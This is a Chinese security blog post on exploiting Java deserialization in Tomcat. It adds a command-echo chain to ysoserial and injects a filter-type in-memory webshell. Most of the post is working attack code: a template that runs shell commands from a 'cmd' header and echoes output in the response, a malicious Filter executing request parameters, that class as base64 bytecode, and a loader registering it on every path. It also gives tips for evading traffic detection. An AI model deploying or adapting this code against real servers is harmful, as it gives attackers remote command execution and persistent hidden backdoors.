Java反序列化回显与内存马注入
写在前面
之前已经对于Tomcat回显链和简单的内存马注入进行了部分的学习,打算先对一个很常见的场景,比如中间件是Tomcat,Web站点存在反序列化的场景去打一个内存马或者说反序列化回显的一个利用。先做一个简单实现,后面再对不同场景下做一个深度的利用。
反序列化回显
主要是通过回显链将命令执行结果通过Response回显出来。依旧是拿Tomcat回显链进行学习。
这里主要是将其改造添加进yso中,参考Litch1师傅的项目
先对Gadgets.java文件做一些改动,主要是重载createTemplatesImpl
的方法,template为我们需要通过javassist去执行的任意代码块如回显链或内存马,其余部分参照Litch1师傅的项目改动即可
public static Object createTemplatesImplTomcatEcho(final String command) throws Exception {
String param = command == null ? "cmd" : command;
String template = "javassist code";
return createTemplatesImpl(command, template);
}
先放上根据Tomcat回显链构造的createTemplatesImpl
方法
// Template For TomcatEcho
public static Object createTemplatesImplTomcatEcho(final String command) throws Exception {
String template = "try {\n" +
" org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();\n" +
" org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) webappClassLoaderBase.getResources().getContext();\n" +
" java.lang.reflect.Field context = Class.forName(\"org.apache.catalina.core.StandardContext\").getDeclaredField(\"context\");\n" +
" context.setAccessible(true);\n" +
" org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);\n" +
" java.lang.reflect.Field service = Class.forName(\"org.apache.catalina.core.ApplicationContext\").getDeclaredField(\"service\");\n" +
" service.setAccessible(true);\n" +
" org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) service.get(ApplicationContext);\n" +
" org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[]) standardService.findConnectors();\n" +
"\n" +
" for (int i=0; i < connectors.length; i++) {\n" +
" if (4 == connectors[i].getScheme().length()) {\n" +
" java.lang.reflect.Field protocolHandler = connectors[i].getProtocolHandler();\n" +
" if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol){\n" +
" Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();\n" +
" for (int j = 0; j < classes.length; j++) {\n" +
" if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {\n" +
" java.lang.reflect.Field globalField = classes[j].getDeclaredField(\"global\");\n" +
" java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField(\"processors\");\n" +
" globalField.setAccessible(true);\n" +
" processorsField.setAccessible(true);\n" +
" java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod(\"getHandler\",null);\n" +
" getHandlerMethod.setAccessible(true);\n" +
" org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));\n" +
" java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);\n" +
" for (int k = 0; k < list.size(); k++){\n" +
" java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField(\"req\");" +
" requestField.setAccessible(true);\n" +
" org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));\n" +
" org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);\n" +
" String cmd = request.getHeader(\"cmd\");\n" +
" String[] cmds = !System.getProperty(\"os.name\").toLowerCase().contains(\"win\") ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n" +
" java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
" java.io.BufferedInputStream bufferedInputStream = new java.io.BufferedInputStream(inputStream);\n" +
" org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) request.getResponse();\n" +
" int len;\n" +
" while ((len = bufferedInputStream.read()) != -1){\n" +
" response.getWriter().write(len);\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" } \n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
"}";
return createTemplatesImpl(command, template);
}
踩坑记录:
-
template中内容不能import,所以用到的各种类需要写全限定类名。
-
如果可以通过上下文或其他存储环境信息的对象的自带方法去获取所需的属性值就不要用反射,这样payload体积也会变小。如:
通过
standardService.findConnectors();
获取connectors
-
template中不要出现范型,比如
Class<?>[] ; j < classes.length; j++)
这种,而不是这种:for (Class<?> declaredClass : declaredClasses)
,不然会抛异常,我也不懂为什么,希望懂得师傅可以不吝赐教。 -
本地进行测试时,如果是tomcat+war包形式,需要注意运行项目后的
out
目录下的lib中是否有CC的jar包
之后可以新建一个类,去调用上面构造好的createTemplate方法即可
测试:
ToDo:
上面的代码中,是通过读取header中的cmd属性值包含的命令去执行。当然也可以动态拼接,或者Litch1师傅中添加了对header中是否存在tomcat: tomcat
的判断才进入后续的命令执行和回显。这里骚姿势就比较多了,师傅们可自行研究。
而读取header的这种写法肯定会被流量设备检测到,个人感觉还是动态拼接命令会更好一些。当然了,这也是出于在一个必须进行反序列化回显时的场景下,一般还是打内存马,如哥斯拉或者冰蝎。
内存马注入
以filter型的cmd内存马为例,冰蝎同理,改一改逻辑即可。
首先准备恶意的Filter,当然可以添加一些自己的逻辑,如header头的判断等等
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
public class FilterMemShell implements Filter {
static String cmd ;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
try {
cmd = request.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read()) != -1){
response.getWriter().write(len);
}
}
catch (Exception var15) {
}
}
@Override
public void destroy() {
}
}
把其字节码转byte数组然后base64编码
yv66vgAAADQAbgoAEQBCBwBDBwBECAATCwACAEUJABAARgoARwBICgBHAEkKAEoASwcATAoACgBNCgAKAE4LAAMATwoAUABRBwBSBwBTBwBUBwBVAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMRmlsdGVyTWVtU2hlbGw7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAVgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQATYnVmZmVyZWRJbnB1dFN0cmVhbQEAHUxqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW07AQADbGVuAQABSQEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAFMHAFcHAFgHAFkHAEMHAEQHAFoHAEwHAFIHAFsBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAE0ZpbHRlck1lbVNoZWxsLmphdmEMABUAFgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAXABdDAATABQHAF4MAF8AYAwAYQBiBwBjDABkAGUBABtqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW0MABUAZgwAZwBoDABpAGoHAGsMAGwAbQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA5GaWx0ZXJNZW1TaGVsbAEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABHJlYWQBAAMoKUkBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABChJKVYAIQAQABEAAQASAAEACAATABQAAAAEAAEAFQAWAAEAFwAAAC8AAQABAAAABSq3AAGxAAAAAgAYAAAABgABAAAACQAZAAAADAABAAAABQAaABsAAAABABwAHQACABcAAAA1AAAAAgAAAAGxAAAAAgAYAAAABgABAAAADgAZAAAAFgACAAAAAQAaABsAAAAAAAEAHgAfAAEAIAAAAAQAAQAhAAEAIgAjAAIAFwAAAScAAwAJAAAAUivAAAI6BCzAAAM6BRkEEgS5AAUCALMABrgAB7IABrYACLYACToGuwAKWRkGtwALOgcZB7YADFk2CAKfABIZBbkADQEAFQi2AA6n/+inAAU6BrEAAQAMAEwATwAPAAMAGAAAACoACgAAABIABgATAAwAFgAYABcAJgAYADEAGgA9ABsATAAhAE8AIABRACIAGQAAAFwACQAmACYAJAAlAAYAMQAbACYAJwAHADkAEwAoACkACAAAAFIAGgAbAAAAAABSACoAKwABAAAAUgAsAC0AAgAAAFIALgAvAAMABgBMADAAMQAEAAwARgAyADMABQA0AAAAKQAE/wAxAAgHADUHADYHADcHADgHADkHADoHADsHADwAAPkAGkIHAD0BACAAAAAGAAIAPgAhAAEAPwAWAAEAFwAAACsAAAABAAAAAbEAAAACABgAAAAGAAEAAAAoABkAAAAMAAEAAAABABoAGwAAAAEAQAAAAAIAQQ==
至此就准备好恶意的Filter类了,剩下的就是之前所讲到的,通过获取StandardContext来动态注册Filter,Filter的实例对象可以通过defineClass加载字节码之后newInstance获取。
动态注册代码如下,因为要继承到yso,所以需要继承AbstractTranslet类
public class InjectTomcatFilterShell extends AbstractTranslet {
final static String FilterMemShell = "yv66vgAAADQAbgoAEQBCBwBDBwBECAATCwACAEUJABAARgoARwBICgBHAEkKAEoASwcATAoACgBNCgAKAE4LAAMATwoAUABRBwBSBwBTBwBUBwBVAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMRmlsdGVyTWVtU2hlbGw7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAVgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQATYnVmZmVyZWRJbnB1dFN0cmVhbQEAHUxqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW07AQADbGVuAQABSQEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAFMHAFcHAFgHAFkHAEMHAEQHAFoHAEwHAFIHAFsBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAE0ZpbHRlck1lbVNoZWxsLmphdmEMABUAFgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAXABdDAATABQHAF4MAF8AYAwAYQBiBwBjDABkAGUBABtqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW0MABUAZgwAZwBoDABpAGoHAGsMAGwAbQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA5GaWx0ZXJNZW1TaGVsbAEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABHJlYWQBAAMoKUkBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABChJKVYAIQAQABEAAQASAAEACAATABQAAAAEAAEAFQAWAAEAFwAAAC8AAQABAAAABSq3AAGxAAAAAgAYAAAABgABAAAACQAZAAAADAABAAAABQAaABsAAAABABwAHQACABcAAAA1AAAAAgAAAAGxAAAAAgAYAAAABgABAAAADgAZAAAAFgACAAAAAQAaABsAAAAAAAEAHgAfAAEAIAAAAAQAAQAhAAEAIgAjAAIAFwAAAScAAwAJAAAAUivAAAI6BCzAAAM6BRkEEgS5AAUCALMABrgAB7IABrYACLYACToGuwAKWRkGtwALOgcZB7YADFk2CAKfABIZBbkADQEAFQi2AA6n/+inAAU6BrEAAQAMAEwATwAPAAMAGAAAACoACgAAABIABgATAAwAFgAYABcAJgAYADEAGgA9ABsATAAhAE8AIABRACIAGQAAAFwACQAmACYAJAAlAAYAMQAbACYAJwAHADkAEwAoACkACAAAAFIAGgAbAAAAAABSACoAKwABAAAAUgAsAC0AAgAAAFIALgAvAAMABgBMADAAMQAEAAwARgAyADMABQA0AAAAKQAE/wAxAAgHADUHADYHADcHADgHADkHADoHADsHADwAAPkAGkIHAD0BACAAAAAGAAIAPgAhAAEAPwAWAAEAFwAAACsAAAABAAAAAbEAAAACABgAAAAGAAEAAAAoABkAAAAMAAEAAAABABoAGwAAAAEAQAAAAAIAQQ==";
static {
try {
String filterName = "Zh1z3ven";
String Base64ForShellByteArray = FilterMemShell;
String filterPath = "/*";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterconfigs = (Map) filterConfigsField.get(standardContext);
if (filterconfigs.get(filterName) == null){
BASE64Decoder base64Decoder = new BASE64Decoder();
byte[] bytes = base64Decoder.decodeBuffer(Base64ForShellByteArray);
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class memShell = (Class) defineClassMethod.invoke(servletContext.getClass().getClassLoader(), bytes, 0, bytes.length);
Filter MemShell = (Filter) memShell.newInstance();
Class FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(MemShell);
o.setFilterName(filterName);
o.setFilterClass(memShell.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
filterMap.addURLPattern(filterPath);
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
declaredConstructor1.setAccessible(true);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterconfigs.put(filterName,filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
后续部分参考Litch1师傅的yso项目,对createTemplate方法进行重载,这里就不贴了
封装完后可以准备一个存在反序列化的servlet直接yso打即可
Reference
https://summersec.github.io/2020/06/01/Java反序列化回显解决方案/#toc-heading-6